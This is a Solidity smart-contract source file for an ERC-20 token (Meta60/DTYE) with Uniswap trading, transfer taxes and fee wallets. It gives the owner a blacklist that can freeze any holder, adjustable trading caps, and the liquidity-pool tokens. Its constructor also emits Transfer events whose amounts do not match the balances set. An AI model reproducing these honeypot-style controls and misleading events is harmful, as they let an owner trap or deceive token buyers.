// File: Meta60Pro.sol



// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Meta60 is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    address payable private _teamWallet;
    address payable private _poolWallet;
    uint256 private _taxWalletPercentage = 77;
    uint256 private _teamWalletPercentage = 12;
    uint256 private _poolWalletPercentage = 11;
    uint256 private _zoreWalletPercentage = 10;

    uint256 firstBlock;

    uint256 private _initialBuyTax=5;
    uint256 private _initialSellTax=5;
    uint256 private _finalBuyTax=5;
    uint256 private _finalSellTax=5;
    uint256 private _reduceBuyTaxAt=5;
    uint256 private _reduceSellTaxAt=5;
    uint256 private _preventSwapBefore=1;
    uint256 private _buyCount=0;
    uint256 private _firstBlockStart=3;


    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000 * 10**_decimals;
    string private constant _name = unicode"DTYE"; 
    string private constant _symbol = unicode"DTYE";
    uint256 public _maxTxAmount =   100000000 * 10**_decimals;
    uint256 public _maxWalletSize = 100000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 100000 * 10**_decimals;
    uint256 public _maxTaxSwap= 1500000 * 10**_decimals;

    mapping (address => bool) public _black;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    event ClearStuck(uint256 amount);
    event ClearToken(address TokenAddressCleared, uint256 Amount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address _txAddress, address _teamAddress, address _advanceSaleAddress, address _txPoolAddress) {
        require(_txAddress != address(0), "txAddress address is invalid.");
        require(_teamAddress != address(0), "teamAddress address is invalid.");
        require(_advanceSaleAddress != address(0), "advanceSaleAddress address is invalid.");
        require(_txPoolAddress != address(0), "txPoolAddress address is invalid.");
        _taxWallet = payable(_txAddress);
        _teamWallet = payable(_teamAddress);
        _poolWallet = payable(_txPoolAddress);
        

        uint256 _initAmount = _tTotal * 75 / 100;
        uint256 _advanceSaleAmount = _tTotal * 25 / 100;
        _balances[_msgSender()] = _advanceSaleAmount;
        _balances[_advanceSaleAddress] = _initAmount;


        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[_teamWallet] = true;
        _isExcludedFromFee[_advanceSaleAddress] = true;
        _isExcludedFromFee[_poolWallet] = true;
        
        
        emit Transfer(address(0), _msgSender(), _initAmount);
        emit Transfer(address(0), _advanceSaleAddress, _advanceSaleAmount);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(_black[from] == false, "ERC20: transfer from the black address");
        require(_black[to] == false, "ERC20: transfer to the black address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");

                if (firstBlock + _firstBlockStart  > block.number) {
                    require(!isContract(to));
                }
                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        uint256 zoreWalletShare = tokenAmount * _zoreWalletPercentage / 100; // 10%
        uint256 swiapAmount = tokenAmount * 90 / 100; // 10%

        _approve(address(this), address(uniswapV2Router), swiapAmount);

        // destory
        address zoreAddress = address(0);
        _balances[zoreAddress]=_balances[zoreAddress].add(zoreWalletShare);
        emit Transfer(address(this), zoreAddress, zoreWalletShare);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            swiapAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function addBlack(address _addr) external onlyOwner{
        require(_addr != address(0), "addr is invalid.");
        require(_addr != owner(), "addr is owner.");
        _black[_addr] = true;
    }
    function removeBlack(address _addr) external onlyOwner{
        require(_addr != address(0), "addr is invalid.");
        _black[_addr] = false;
    }
    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function updateLimits(uint256 _maxTXA, uint256 _maxWSize) external onlyOwner{
        _maxTxAmount = _maxTXA;
        _maxWalletSize=_maxWSize;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        uint256 taxWalletShare = amount * _taxWalletPercentage / 100;   // 70% 77 
        uint256 teamWalletShare = amount * _teamWalletPercentage / 100; // 10% 12
        uint256 poolWalletShare = amount * _poolWalletPercentage / 100; // 10%  11
        

        _taxWallet.transfer(taxWalletShare);
        _teamWallet.transfer(teamWalletShare);
        _poolWallet.transfer(poolWalletShare);
        // payable(address(0)).transfer(zoreWalletShare);
    }

    function clearStuckToken(address tokenAddress, uint256 tokens) external returns (bool success) {
        if(tokens == 0){
            tokens = IERC20(tokenAddress).balanceOf(address(this));
        }
        emit ClearToken(tokenAddress, tokens);
        return IERC20(tokenAddress).transfer(_taxWallet, tokens);
    }

    function manualSend() external {
        require(address(this).balance > 0, "Contract balance must be greater than zero");
        uint256 balance = address(this).balance;
        payable(_taxWallet).transfer(balance);
    }
 
    function manualSwap() external{
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function openTrading(address _uniswapV2RouterAddress, uint256 _FBStart) external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        require(_uniswapV2RouterAddress != address(0), "address is invalid.");
        // 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        uniswapV2Router = IUniswapV2Router02(_uniswapV2RouterAddress);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
        _firstBlockStart = _FBStart <= 0 ? 0 : _FBStart;
    }

    receive() external payable {}
}